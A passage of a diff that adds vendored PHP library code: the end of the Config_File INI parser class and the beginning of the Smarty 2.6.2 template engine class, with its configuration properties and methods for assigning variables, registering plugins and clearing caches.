+ */
+ var $overwrite = true;
+
+ /**
+ * Controls whether config values of on/true/yes and off/false/no get
+ * converted to boolean values automatically.
+ */
+ var $booleanize = true;
+
+ /**
+ * Controls whether hidden config sections/vars are read from the file.
+ */
+ var $read_hidden = true;
+
+ /**
+ * Controls whether or not to fix mac or dos formatted newlines.
+ * If set to true, \r or \r\n will be changed to \n.
+ */
+ var $fix_newlines = true;
+ /**#@-*/
+
+ /** @access private */
+ var $_config_path = "";
+ var $_config_data = array();
+ /**#@-*/
+
+ /**
+ * Constructs a new config file class.
+ *
+ * @param string $config_path (optional) path to the config files
+ */
+ function Config_File($config_path = NULL)
+ {
+ if (isset($config_path))
+ $this->set_path($config_path);
+ }
+
+
+ /**
+ * Set the path where configuration files can be found.
+ *
+ * @param string $config_path path to the config files
+ */
+ function set_path($config_path)
+ {
+ if (!empty($config_path)) {
+ if (!is_string($config_path) || !file_exists($config_path) || !is_dir($config_path)) {
+ $this->_trigger_error_msg("Bad config file path '$config_path'");
+ return;
+ }
+ if(substr($config_path, -1) != DIRECTORY_SEPARATOR) {
+ $config_path .= DIRECTORY_SEPARATOR;
+ }
+
+ $this->_config_path = $config_path;
+ }
+ }
+
+
+ /**
+ * Retrieves config info based on the file, section, and variable name.
+ *
+ * @param string $file_name config file to get info for
+ * @param string $section_name (optional) section to get info for
+ * @param string $var_name (optional) variable to get info for
+ * @return string|array a value or array of values
+ */
+ function &get($file_name, $section_name = NULL, $var_name = NULL)
+ {
+ if (empty($file_name)) {
+ $this->_trigger_error_msg('Empty config file name');
+ return;
+ } else {
+ $file_name = $this->_config_path . $file_name;
+ if (!isset($this->_config_data[$file_name]))
+ $this->load_file($file_name, false);
+ }
+
+ if (!empty($var_name)) {
+ if (empty($section_name)) {
+ return $this->_config_data[$file_name]["vars"][$var_name];
+ } else {
+ if(isset($this->_config_data[$file_name]["sections"][$section_name]["vars"][$var_name]))
+ return $this->_config_data[$file_name]["sections"][$section_name]["vars"][$var_name];
+ else
+ return array();
+ }
+ } else {
+ if (empty($section_name)) {
+ return (array)$this->_config_data[$file_name]["vars"];
+ } else {
+ if(isset($this->_config_data[$file_name]["sections"][$section_name]["vars"]))
+ return (array)$this->_config_data[$file_name]["sections"][$section_name]["vars"];
+ else
+ return array();
+ }
+ }
+ }
+
+
+ /**
+ * Retrieves config info based on the key.
+ *
+ * @param $file_name string config key (filename/section/var)
+ * @return string|array same as get()
+ * @uses get() retrieves information from config file and returns it
+ */
+ function &get_key($config_key)
+ {
+ list($file_name, $section_name, $var_name) = explode('/', $config_key, 3);
+ $result = &$this->get($file_name, $section_name, $var_name);
+ return $result;
+ }
+
+ /**
+ * Get all loaded config file names.
+ *
+ * @return array an array of loaded config file names
+ */
+ function get_file_names()
+ {
+ return array_keys($this->_config_data);
+ }
+
+
+ /**
+ * Get all section names from a loaded file.
+ *
+ * @param string $file_name config file to get section names from
+ * @return array an array of section names from the specified file
+ */
+ function get_section_names($file_name)
+ {
+ $file_name = $this->_config_path . $file_name;
+ if (!isset($this->_config_data[$file_name])) {
+ $this->_trigger_error_msg("Unknown config file '$file_name'");
+ return;
+ }
+
+ return array_keys($this->_config_data[$file_name]["sections"]);
+ }
+
+
+ /**
+ * Get all global or section variable names.
+ *
+ * @param string $file_name config file to get info for
+ * @param string $section_name (optional) section to get info for
+ * @return array an array of variables names from the specified file/section
+ */
+ function get_var_names($file_name, $section = NULL)
+ {
+ if (empty($file_name)) {
+ $this->_trigger_error_msg('Empty config file name');
+ return;
+ } else if (!isset($this->_config_data[$file_name])) {
+ $this->_trigger_error_msg("Unknown config file '$file_name'");
+ return;
+ }
+
+ if (empty($section))
+ return array_keys($this->_config_data[$file_name]["vars"]);
+ else
+ return array_keys($this->_config_data[$file_name]["sections"][$section]["vars"]);
+ }
+
+
+ /**
+ * Clear loaded config data for a certain file or all files.
+ *
+ * @param string $file_name file to clear config data for
+ */
+ function clear($file_name = NULL)
+ {
+ if ($file_name === NULL)
+ $this->_config_data = array();
+ else if (isset($this->_config_data[$file_name]))
+ $this->_config_data[$file_name] = array();
+ }
+
+
+ /**
+ * Load a configuration file manually.
+ *
+ * @param string $file_name file name to load
+ * @param boolean $prepend_path whether current config path should be
+ * prepended to the filename
+ */
+ function load_file($file_name, $prepend_path = true)
+ {
+ if ($prepend_path && $this->_config_path != "")
+ $config_file = $this->_config_path . $file_name;
+ else
+ $config_file = $file_name;
+
+ ini_set('track_errors', true);
+ $fp = @fopen($config_file, "r");
+ if (!is_resource($fp)) {
+ $this->_trigger_error_msg("Could not open config file '$config_file'");
+ return false;
+ }
+
+ $contents = fread($fp, filesize($config_file));
+ fclose($fp);
+
+ $this->_config_data[$config_file] = $this->parse_contents($contents);
+ return true;
+ }
+
+ /**
+ * Store the contents of a file manually.
+ *
+ * @param string $config_file file name of the related contents
+ * @param string $contents the file-contents to parse
+ */
+ function set_file_contents($config_file, $contents)
+ {
+ $this->_config_data[$config_file] = $this->parse_contents($contents);
+ return true;
+ }
+
+ /**
+ * parse the source of a configuration file manually.
+ *
+ * @param string $contents the file-contents to parse
+ */
+ function parse_contents($contents)
+ {
+ if($this->fix_newlines) {
+ // fix mac/dos formatted newlines
+ $contents = preg_replace('!\r\n?!', "\n", $contents);
+ }
+
+ $config_data = array();
+ $config_data['sections'] = array();
+ $config_data['vars'] = array();
+
+ /* reference to fill with data */
+ $vars =& $config_data['vars'];
+
+ /* parse file line by line */
+ preg_match_all('!^.*\r?\n?!m', $contents, $match);
+ $lines = $match[0];
+ for ($i=0, $count=count($lines); $i<$count; $i++) {
+ $line = $lines[$i];
+ if (empty($line)) continue;
+
+ if ( $line{0} == '[' && preg_match('!^\[(.*?)\]!', $line, $match) ) {
+ /* section found */
+ if ($match[1]{0} == '.') {
+ /* hidden section */
+ if ($this->read_hidden) {
+ $section_name = substr($match[1], 1);
+ } else {
+ /* break reference to $vars to ignore hidden section */
+ unset($vars);
+ $vars = array();
+ continue;
+ }
+ } else {
+ $section_name = $match[1];
+ }
+ if (!isset($config_data['sections'][$section_name]))
+ $config_data['sections'][$section_name] = array('vars' => array());
+ $vars =& $config_data['sections'][$section_name]['vars'];
+ continue;
+ }
+
+ if (preg_match('/^\s*(\.?\w+)\s*=\s*(.*)/s', $line, $match)) {
+ /* variable found */
+ $var_name = rtrim($match[1]);
+ if (strpos($match[2], '"""') === 0) {
+ /* handle multiline-value */
+ $lines[$i] = substr($match[2], 3);
+ $var_value = '';
+ while ($i<$count) {
+ if (($pos = strpos($lines[$i], '"""')) === false) {
+ $var_value .= $lines[$i++];
+ } else {
+ /* end of multiline-value */
+ $var_value .= substr($lines[$i], 0, $pos);
+ break;
+ }
+ }
+ $booleanize = false;
+
+ } else {
+ /* handle simple value */
+ $var_value = preg_replace('/^([\'"])(.*)\1$/', '\2', rtrim($match[2]));
+ $booleanize = $this->booleanize;
+
+ }
+ $this->_set_config_var($vars, $var_name, $var_value, $booleanize);
+ }
+ /* else unparsable line / means it is a comment / means ignore it */
+ }
+ return $config_data;
+ }
+
+ /**#@+ @access private */
+ /**
+ * @param array &$container
+ * @param string $var_name
+ * @param mixed $var_value
+ * @param boolean $booleanize determines whether $var_value is converted to
+ * to true/false
+ */
+ function _set_config_var(&$container, $var_name, $var_value, $booleanize)
+ {
+ if ($var_name{0} == '.') {
+ if (!$this->read_hidden)
+ return;
+ else
+ $var_name = substr($var_name, 1);
+ }
+
+ if (!preg_match("/^[a-zA-Z_]\w*$/", $var_name)) {
+ $this->_trigger_error_msg("Bad variable name '$var_name'");
+ return;
+ }
+
+ if ($booleanize) {
+ if (preg_match("/^(on|true|yes)$/i", $var_value))
+ $var_value = true;
+ else if (preg_match("/^(off|false|no)$/i", $var_value))
+ $var_value = false;
+ }
+
+ if (!isset($container[$var_name]) || $this->overwrite)
+ $container[$var_name] = $var_value;
+ else {
+ settype($container[$var_name], 'array');
+ $container[$var_name][] = $var_value;
+ }
+ }
+
+ /**
+ * @uses trigger_error() creates a PHP warning/error
+ * @param string $error_msg
+ * @param integer $error_type one of
+ */
+ function _trigger_error_msg($error_msg, $error_type = E_USER_WARNING)
+ {
+ trigger_error("Config_File error: $error_msg", $error_type);
+ }
+ /**#@-*/
+}
+
+?>
--- /dev/null
+<?php
+
+/**
+ * Project: Smarty: the PHP compiling template engine
+ * File: Smarty.class.php
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+ *
+ * For questions, help, comments, discussion, etc., please join the
+ * Smarty mailing list. Send a blank e-mail to
+ * smarty-general-subscribe@lists.php.net
+ *
+ * @link http://smarty.php.net/
+ * @copyright 2001-2004 ispi of Lincoln, Inc.
+ * @author Monte Ohrt <monte@ispi.net>
+ * @author Andrei Zmievski <andrei@php.net>
+ * @package Smarty
+ * @version 2.6.2
+ */
+
+/* $Id: Smarty.class.php,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $ */
+
+/**
+ * DIR_SEP isn't used anymore, but third party apps might
+ */
+if(!defined('DIR_SEP')) {
+ define('DIR_SEP', DIRECTORY_SEPARATOR);
+}
+
+/**
+ * set SMARTY_DIR to absolute path to Smarty library files.
+ * if not defined, include_path will be used. Sets SMARTY_DIR only if user
+ * application has not already defined it.
+ */
+
+if (!defined('SMARTY_DIR')) {
+ define('SMARTY_DIR', BASE."google/smarty/");
+}
+
+define('SMARTY_PHP_PASSTHRU', 0);
+define('SMARTY_PHP_QUOTE', 1);
+define('SMARTY_PHP_REMOVE', 2);
+define('SMARTY_PHP_ALLOW', 3);
+
+/**
+ * @package Smarty
+ */
+class Smarty
+{
+ /**#@+
+ * Smarty Configuration Section
+ */
+
+ /**
+ * The name of the directory where templates are located.
+ *
+ * @var string
+ */
+ var $template_dir = 'templates';
+
+ /**
+ * The directory where compiled templates are located.
+ *
+ * @var string
+ */
+ var $compile_dir = 'templates_c';
+
+ /**
+ * The directory where config files are located.
+ *
+ * @var string
+ */
+ var $config_dir = 'configs';
+
+ /**
+ * An array of directories searched for plugins.
+ *
+ * @var array
+ */
+ var $plugins_dir = array('plugins');
+
+ /**
+ * If debugging is enabled, a debug console window will display
+ * when the page loads (make sure your browser allows unrequested
+ * popup windows)
+ *
+ * @var boolean
+ */
+ var $debugging = false;
+
+ /**
+ * When set, smarty does uses this value as error_reporting-level.
+ *
+ * @var boolean
+ */
+ var $error_reporting = null;
+
+ /**
+ * This is the path to the debug console template. If not set,
+ * the default one will be used.
+ *
+ * @var string
+ */
+ var $debug_tpl = '';
+
+ /**
+ * This determines if debugging is enable-able from the browser.
+ * <ul>
+ * <li>NONE => no debugging control allowed</li>
+ * <li>URL => enable debugging when SMARTY_DEBUG is found in the URL.</li>
+ * </ul>
+ * @link http://www.foo.dom/index.php?SMARTY_DEBUG
+ * @var string
+ */
+ var $debugging_ctrl = 'NONE';
+
+ /**
+ * This tells Smarty whether to check for recompiling or not. Recompiling
+ * does not need to happen unless a template or config file is changed.
+ * Typically you enable this during development, and disable for
+ * production.
+ *
+ * @var boolean
+ */
+ var $compile_check = true;
+
+ /**
+ * This forces templates to compile every time. Useful for development
+ * or debugging.
+ *
+ * @var boolean
+ */
+ var $force_compile = false;
+
+ /**
+ * This enables template caching.
+ * <ul>
+ * <li>0 = no caching</li>
+ * <li>1 = use class cache_lifetime value</li>
+ * <li>2 = use cache_lifetime in cache file</li>
+ * </ul>
+ * @var integer
+ */
+ var $caching = 0;
+
+ /**
+ * The name of the directory for cache files.
+ *
+ * @var string
+ */
+ var $cache_dir = 'cache';
+
+ /**
+ * This is the number of seconds cached content will persist.
+ * <ul>
+ * <li>0 = always regenerate cache</li>
+ * <li>-1 = never expires</li>
+ * </ul>
+ *
+ * @var integer
+ */
+ var $cache_lifetime = 3600;
+
+ /**
+ * Only used when $caching is enabled. If true, then If-Modified-Since headers
+ * are respected with cached content, and appropriate HTTP headers are sent.
+ * This way repeated hits to a cached page do not send the entire page to the
+ * client every time.
+ *
+ * @var boolean
+ */
+ var $cache_modified_check = false;
+
+ /**
+ * This determines how Smarty handles "<?php ... ?>" tags in templates.
+ * possible values:
+ * <ul>
+ * <li>SMARTY_PHP_PASSTHRU -> print tags as plain text</li>
+ * <li>SMARTY_PHP_QUOTE -> escape tags as entities</li>
+ * <li>SMARTY_PHP_REMOVE -> remove php tags</li>
+ * <li>SMARTY_PHP_ALLOW -> execute php tags</li>
+ * </ul>
+ *
+ * @var integer
+ */
+ var $php_handling = SMARTY_PHP_PASSTHRU;
+
+ /**
+ * This enables template security. When enabled, many things are restricted
+ * in the templates that normally would go unchecked. This is useful when
+ * untrusted parties are editing templates and you want a reasonable level
+ * of security. (no direct execution of PHP in templates for example)
+ *
+ * @var boolean
+ */
+ var $security = false;
+
+ /**
+ * This is the list of template directories that are considered secure. This
+ * is used only if {@link $security} is enabled. One directory per array
+ * element. {@link $template_dir} is in this list implicitly.
+ *
+ * @var array
+ */
+ var $secure_dir = array();
+
+ /**
+ * These are the security settings for Smarty. They are used only when
+ * {@link $security} is enabled.
+ *
+ * @var array
+ */
+ var $security_settings = array(
+ 'PHP_HANDLING' => false,
+ 'IF_FUNCS' => array('array', 'list',
+ 'isset', 'empty',
+ 'count', 'sizeof',
+ 'in_array', 'is_array',
+ 'true','false'),
+ 'INCLUDE_ANY' => false,
+ 'PHP_TAGS' => false,
+ 'MODIFIER_FUNCS' => array('count'),
+ 'ALLOW_CONSTANTS' => false
+ );
+
+ /**
+ * This is an array of directories where trusted php scripts reside.
+ * {@link $security} is disabled during their inclusion/execution.
+ *
+ * @var array
+ */
+ var $trusted_dir = array();
+
+ /**
+ * The left delimiter used for the template tags.
+ *
+ * @var string
+ */
+ var $left_delimiter = '{';
+
+ /**
+ * The right delimiter used for the template tags.
+ *
+ * @var string
+ */
+ var $right_delimiter = '}';
+
+ /**
+ * The order in which request variables are registered, similar to
+ * variables_order in php.ini E = Environment, G = GET, P = POST,
+ * C = Cookies, S = Server
+ *
+ * @var string
+ */
+ var $request_vars_order = "EGPCS";
+
+ /**
+ * Indicates wether $HTTP_*_VARS[] (request_use_auto_globals=false)
+ * are uses as request-vars or $_*[]-vars. note: if
+ * request_use_auto_globals is true, then $request_vars_order has
+ * no effect, but the php-ini-value "gpc_order"
+ *
+ * @var boolean
+ */
+ var $request_use_auto_globals = true;
+
+ /**
+ * Set this if you want different sets of compiled files for the same
+ * templates. This is useful for things like different languages.
+ * Instead of creating separate sets of templates per language, you
+ * set different compile_ids like 'en' and 'de'.
+ *
+ * @var string
+ */
+ var $compile_id = null;
+
+ /**
+ * This tells Smarty whether or not to use sub dirs in the cache/ and
+ * templates_c/ directories. sub directories better organized, but
+ * may not work well with PHP safe mode enabled.
+ *
+ * @var boolean
+ *
+ */
+ var $use_sub_dirs = false;
+
+ /**
+ * This is a list of the modifiers to apply to all template variables.
+ * Put each modifier in a separate array element in the order you want
+ * them applied. example: <code>array('escape:"htmlall"');</code>
+ *
+ * @var array
+ */
+ var $default_modifiers = array();
+
+ /**
+ * This is the resource type to be used when not specified
+ * at the beginning of the resource path. examples:
+ * $smarty->display('file:index.tpl');
+ * $smarty->display('db:index.tpl');
+ * $smarty->display('index.tpl'); // will use default resource type
+ * {include file="file:index.tpl"}
+ * {include file="db:index.tpl"}
+ * {include file="index.tpl"} {* will use default resource type *}
+ *
+ * @var array
+ */
+ var $default_resource_type = 'file';
+
+ /**
+ * The function used for cache file handling. If not set, built-in caching is used.
+ *
+ * @var null|string function name
+ */
+ var $cache_handler_func = null;
+
+ /**
+ * This indicates which filters are automatically loaded into Smarty.
+ *
+ * @var array array of filter names
+ */
+ var $autoload_filters = array();
+
+ /**#@+
+ * @var boolean
+ */
+ /**
+ * This tells if config file vars of the same name overwrite each other or not.
+ * if disabled, same name variables are accumulated in an array.
+ */
+ var $config_overwrite = true;
+
+ /**
+ * This tells whether or not to automatically booleanize config file variables.
+ * If enabled, then the strings "on", "true", and "yes" are treated as boolean
+ * true, and "off", "false" and "no" are treated as boolean false.
+ */
+ var $config_booleanize = true;
+
+ /**
+ * This tells whether hidden sections [.foobar] are readable from the
+ * tempalates or not. Normally you would never allow this since that is
+ * the point behind hidden sections: the application can access them, but
+ * the templates cannot.
+ */
+ var $config_read_hidden = false;
+
+ /**
+ * This tells whether or not automatically fix newlines in config files.
+ * It basically converts \r (mac) or \r\n (dos) to \n
+ */
+ var $config_fix_newlines = true;
+ /**#@-*/
+
+ /**
+ * If a template cannot be found, this PHP function will be executed.
+ * Useful for creating templates on-the-fly or other special action.
+ *
+ * @var string function name
+ */
+ var $default_template_handler_func = '';
+
+ /**
+ * The file that contains the compiler class. This can a full
+ * pathname, or relative to the php_include path.
+ *
+ * @var string
+ */
+ var $compiler_file = 'Smarty_Compiler.class.php';
+
+ /**
+ * The class used for compiling templates.
+ *
+ * @var string
+ */
+ var $compiler_class = 'Smarty_Compiler';
+
+ /**
+ * The class used to load config vars.
+ *
+ * @var string
+ */
+ var $config_class = 'Config_File';
+
+/**#@+
+ * END Smarty Configuration Section
+ * There should be no need to touch anything below this line.
+ * @access private
+ */
+ /**
+ * error messages. true/false
+ *
+ * @var boolean
+ */
+ var $_error_msg = false;
+
+ /**
+ * where assigned template vars are kept
+ *
+ * @var array
+ */
+ var $_tpl_vars = array();
+
+ /**
+ * stores run-time $smarty.* vars
+ *
+ * @var null|array
+ */
+ var $_smarty_vars = null;
+
+ /**
+ * keeps track of sections
+ *
+ * @var array
+ */
+ var $_sections = array();
+
+ /**
+ * keeps track of foreach blocks
+ *
+ * @var array
+ */
+ var $_foreach = array();
+
+ /**
+ * keeps track of tag hierarchy
+ *
+ * @var array
+ */
+ var $_tag_stack = array();
+
+ /**
+ * configuration object
+ *
+ * @var Config_file
+ */
+ var $_conf_obj = null;
+
+ /**
+ * loaded configuration settings
+ *
+ * @var array
+ */
+ var $_config = array(array('vars' => array(), 'files' => array()));
+
+ /**
+ * md5 checksum of the string 'Smarty'
+ *
+ * @var string
+ */
+ var $_smarty_md5 = 'f8d698aea36fcbead2b9d5359ffca76f';
+
+ /**
+ * Smarty version number
+ *
+ * @var string
+ */
+ var $_version = '2.6.2';
+
+ /**
+ * current template inclusion depth
+ *
+ * @var integer
+ */
+ var $_inclusion_depth = 0;
+
+ /**
+ * for different compiled templates
+ *
+ * @var string
+ */
+ var $_compile_id = null;
+
+ /**
+ * text in URL to enable debug mode
+ *
+ * @var string
+ */
+ var $_smarty_debug_id = 'SMARTY_DEBUG';
+
+ /**
+ * debugging information for debug console
+ *
+ * @var array
+ */
+ var $_smarty_debug_info = array();
+
+ /**
+ * info that makes up a cache file
+ *
+ * @var array
+ */
+ var $_cache_info = array();
+
+ /**
+ * default file permissions
+ *
+ * @var integer
+ */
+ var $_file_perms = 0644;
+
+ /**
+ * default dir permissions
+ *
+ * @var integer
+ */
+ var $_dir_perms = 0771;
+
+ /**
+ * registered objects
+ *
+ * @var array
+ */
+ var $_reg_objects = array();
+
+ /**
+ * table keeping track of plugins
+ *
+ * @var array
+ */
+ var $_plugins = array(
+ 'modifier' => array(),
+ 'function' => array(),
+ 'block' => array(),
+ 'compiler' => array(),
+ 'prefilter' => array(),
+ 'postfilter' => array(),
+ 'outputfilter' => array(),
+ 'resource' => array(),
+ 'insert' => array());
+
+
+ /**
+ * cache serials
+ *
+ * @var array
+ */
+ var $_cache_serials = array();
+
+ /**
+ * name of optional cache include file
+ *
+ * @var string
+ */
+ var $_cache_include = null;
+
+ /**
+ * indicate if the current code is used in a compiled
+ * include
+ *
+ * @var string
+ */
+ var $_cache_including = false;
+
+ /**#@-*/
+ /**
+ * The class constructor.
+ */
+ function Smarty()
+ {
+ $this->assign('SCRIPT_NAME', isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME']
+ : @$GLOBALS['HTTP_SERVER_VARS']['SCRIPT_NAME']);
+ }
+
+ /**
+ * assigns values to template variables
+ *
+ * @param array|string $tpl_var the template variable name(s)
+ * @param mixed $value the value to assign
+ */
+ function assign($tpl_var, $value = null)
+ {
+ if (is_array($tpl_var)){
+ foreach ($tpl_var as $key => $val) {
+ if ($key != '') {
+ $this->_tpl_vars[$key] = $val;
+ }
+ }
+ } else {
+ if ($tpl_var != '')
+ $this->_tpl_vars[$tpl_var] = $value;
+ }
+ }
+
+ /**
+ * assigns values to template variables by reference
+ *
+ * @param string $tpl_var the template variable name
+ * @param mixed $value the referenced value to assign
+ */
+ function assign_by_ref($tpl_var, &$value)
+ {
+ if ($tpl_var != '')
+ $this->_tpl_vars[$tpl_var] = &$value;
+ }
+
+ /**
+ * appends values to template variables
+ *
+ * @param array|string $tpl_var the template variable name(s)
+ * @param mixed $value the value to append
+ */
+ function append($tpl_var, $value=null, $merge=false)
+ {
+ if (is_array($tpl_var)) {
+ // $tpl_var is an array, ignore $value
+ foreach ($tpl_var as $_key => $_val) {
+ if ($_key != '') {
+ if(!@is_array($this->_tpl_vars[$_key])) {
+ settype($this->_tpl_vars[$_key],'array');
+ }
+ if($merge && is_array($_val)) {
+ foreach($_val as $_mkey => $_mval) {
+ $this->_tpl_vars[$_key][$_mkey] = $_mval;
+ }
+ } else {
+ $this->_tpl_vars[$_key][] = $_val;
+ }
+ }
+ }
+ } else {
+ if ($tpl_var != '' && isset($value)) {
+ if(!@is_array($this->_tpl_vars[$tpl_var])) {
+ settype($this->_tpl_vars[$tpl_var],'array');
+ }
+ if($merge && is_array($value)) {
+ foreach($value as $_mkey => $_mval) {
+ $this->_tpl_vars[$tpl_var][$_mkey] = $_mval;
+ }
+ } else {
+ $this->_tpl_vars[$tpl_var][] = $value;
+ }
+ }
+ }
+ }
+
+ /**
+ * appends values to template variables by reference
+ *
+ * @param string $tpl_var the template variable name
+ * @param mixed $value the referenced value to append
+ */
+ function append_by_ref($tpl_var, &$value, $merge=false)
+ {
+ if ($tpl_var != '' && isset($value)) {
+ if(!@is_array($this->_tpl_vars[$tpl_var])) {
+ settype($this->_tpl_vars[$tpl_var],'array');
+ }
+ if ($merge && is_array($value)) {
+ foreach($value as $_key => $_val) {
+ $this->_tpl_vars[$tpl_var][$_key] = &$value[$_key];
+ }
+ } else {
+ $this->_tpl_vars[$tpl_var][] = &$value;
+ }
+ }
+ }
+
+
+ /**
+ * clear the given assigned template variable.
+ *
+ * @param string $tpl_var the template variable to clear
+ */
+ function clear_assign($tpl_var)
+ {
+ if (is_array($tpl_var))
+ foreach ($tpl_var as $curr_var)
+ unset($this->_tpl_vars[$curr_var]);
+ else
+ unset($this->_tpl_vars[$tpl_var]);
+ }
+
+
+ /**
+ * Registers custom function to be used in templates
+ *
+ * @param string $function the name of the template function
+ * @param string $function_impl the name of the PHP function to register
+ */
+ function register_function($function, $function_impl, $cacheable=true, $cache_attrs=null)
+ {
+ $this->_plugins['function'][$function] =
+ array($function_impl, null, null, false, $cacheable, $cache_attrs);
+
+ }
+
+ /**
+ * Unregisters custom function
+ *
+ * @param string $function name of template function
+ */
+ function unregister_function($function)
+ {
+ unset($this->_plugins['function'][$function]);
+ }
+
+ /**
+ * Registers object to be used in templates
+ *
+ * @param string $object name of template object
+ * @param object &$object_impl the referenced PHP object to register
+ * @param null|array $allowed list of allowed methods (empty = all)
+ * @param boolean $smarty_args smarty argument format, else traditional
+ * @param null|array $block_functs list of methods that are block format
+ */
+ function register_object($object, &$object_impl, $allowed = array(), $smarty_args = true, $block_methods = array())
+ {
+ settype($allowed, 'array');
+ settype($smarty_args, 'boolean');
+ $this->_reg_objects[$object] =
+ array(&$object_impl, $allowed, $smarty_args, $block_methods);
+ }
+
+ /**
+ * Unregisters object
+ *
+ * @param string $object name of template object
+ */
+ function unregister_object($object)
+ {
+ unset($this->_reg_objects[$object]);
+ }
+
+
+ /**
+ * Registers block function to be used in templates
+ *
+ * @param string $block name of template block
+ * @param string $block_impl PHP function to register
+ */
+ function register_block($block, $block_impl, $cacheable=true, $cache_attrs=null)
+ {
+ $this->_plugins['block'][$block] =
+ array($block_impl, null, null, false, $cacheable, $cache_attrs);
+ }
+
+ /**
+ * Unregisters block function
+ *
+ * @param string $block name of template function
+ */
+ function unregister_block($block)
+ {
+ unset($this->_plugins['block'][$block]);
+ }
+
+ /**
+ * Registers compiler function
+ *
+ * @param string $function name of template function
+ * @param string $function_impl name of PHP function to register
+ */
+ function register_compiler_function($function, $function_impl, $cacheable=true)
+ {
+ $this->_plugins['compiler'][$function] =
+ array($function_impl, null, null, false, $cacheable);
+ }
+
+ /**
+ * Unregisters compiler function
+ *
+ * @param string $function name of template function
+ */
+ function unregister_compiler_function($function)
+ {
+ unset($this->_plugins['compiler'][$function]);
+ }
+
+ /**
+ * Registers modifier to be used in templates
+ *
+ * @param string $modifier name of template modifier
+ * @param string $modifier_impl name of PHP function to register
+ */
+ function register_modifier($modifier, $modifier_impl)
+ {
+ $this->_plugins['modifier'][$modifier] =
+ array($modifier_impl, null, null, false);
+ }
+
+ /**
+ * Unregisters modifier
+ *
+ * @param string $modifier name of template modifier
+ */
+ function unregister_modifier($modifier)
+ {
+ unset($this->_plugins['modifier'][$modifier]);
+ }
+
+ /**
+ * Registers a resource to fetch a template
+ *
+ * @param string $type name of resource
+ * @param array $functions array of functions to handle resource
+ */
+ function register_resource($type, $functions)
+ {
+ if (count($functions)==4) {
+ $this->_plugins['resource'][$type] =
+ array($functions, false);
+
+ } elseif (count($functions)==5) {
+ $this->_plugins['resource'][$type] =
+ array(array(array(&$functions[0], $functions[1])
+ ,array(&$functions[0], $functions[2])
+ ,array(&$functions[0], $functions[3])
+ ,array(&$functions[0], $functions[4]))
+ ,false);
+
+ } else {
+ $this->trigger_error("malformed function-list for '$type' in register_resource");
+
+ }
+ }
+
+ /**
+ * Unregisters a resource
+ *
+ * @param string $type name of resource
+ */
+ function unregister_resource($type)
+ {
+ unset($this->_plugins['resource'][$type]);
+ }
+
+ /**
+ * Registers a prefilter function to apply
+ * to a template before compiling
+ *
+ * @param string $function name of PHP function to register
+ */
+ function register_prefilter($function)
+ {
+ $_name = (is_array($function)) ? $function[1] : $function;
+ $this->_plugins['prefilter'][$_name]
+ = array($function, null, null, false);
+ }
+
+ /**
+ * Unregisters a prefilter function
+ *
+ * @param string $function name of PHP function
+ */
+ function unregister_prefilter($function)
+ {
+ unset($this->_plugins['prefilter'][$function]);
+ }
+
+ /**
+ * Registers a postfilter function to apply
+ * to a compiled template after compilation
+ *
+ * @param string $function name of PHP function to register
+ */
+ function register_postfilter($function)
+ {
+ $_name = (is_array($function)) ? $function[1] : $function;
+ $this->_plugins['postfilter'][$_name]
+ = array($function, null, null, false);
+ }
+
+ /**
+ * Unregisters a postfilter function
+ *
+ * @param string $function name of PHP function
+ */
+ function unregister_postfilter($function)
+ {
+ unset($this->_plugins['postfilter'][$function]);
+ }
+
+ /**
+ * Registers an output filter function to apply
+ * to a template output
+ *
+ * @param string $function name of PHP function
+ */
+ function register_outputfilter($function)
+ {
+ $_name = (is_array($function)) ? $function[1] : $function;
+ $this->_plugins['outputfilter'][$_name]
+ = array($function, null, null, false);
+ }
+
+ /**
+ * Unregisters an outputfilter function
+ *
+ * @param string $function name of PHP function
+ */
+ function unregister_outputfilter($function)
+ {
+ unset($this->_plugins['outputfilter'][$function]);
+ }
+
+ /**
+ * load a filter of specified type and name
+ *
+ * @param string $type filter type
+ * @param string $name filter name
+ */
+ function load_filter($type, $name)
+ {
+ switch ($type) {
+ case 'output':
+ $_params = array('plugins' => array(array($type . 'filter', $name, null, null, false)));
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.load_plugins.php');
+ smarty_core_load_plugins($_params, $this);
+ break;
+
+ case 'pre':
+ case 'post':
+ if (!isset($this->_plugins[$type . 'filter'][$name]))
+ $this->_plugins[$type . 'filter'][$name] = false;
+ break;
+ }
+ }
+
+ /**
+ * clear cached content for the given template and cache id
+ *
+ * @param string $tpl_file name of template file
+ * @param string $cache_id name of cache_id
+ * @param string $compile_id name of compile_id
+ * @param string $exp_time expiration time
+ * @return boolean
+ */
+ function clear_cache($tpl_file = null, $cache_id = null, $compile_id = null, $exp_time = null)
+ {
+
+ if (!isset($compile_id))
+ $compile_id = $this->compile_id;
+
+ if (!isset($tpl_file))
+ $compile_id = null;
+
+ $_auto_id = $this->_get_auto_id($cache_id, $compile_id);
+
+ if (!empty($this->cache_handler_func)) {
+ return call_user_func_array($this->cache_handler_func,
+ array('clear', &$this, &$dummy, $tpl_file, $cache_id, $compile_id, $exp_time));
+ } else {
+ $_params = array('auto_base' => $this->cache_dir,
+ 'auto_source' => $tpl_file,
+ 'auto_id' => $_auto_id,
+ 'exp_time' => $exp_time);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.rm_auto.php');
+ return smarty_core_rm_auto($_params, $this);
+ }
+
+ }
+
+
+ /**
+ * clear the entire contents of cache (all templates)
+ *
+ * @param string $exp_time expire time
+ * @return boolean results of {@link smarty_core_rm_auto()}
+ */
+ function clear_all_cache($exp_time = null)
+ {
+ if (!empty($this->cache_handler_func)) {
+ $dummy = null;
+ call_user_func_array($this->cache_handler_func,
+ array('clear', &$this, &$dummy, null, null, null, $exp_time));
+ } else {
+ $_params = array('auto_base' => $this->cache_dir,
+ 'auto_source' => null,
+ 'auto_id' => null,
+ 'exp_time' => $exp_time);
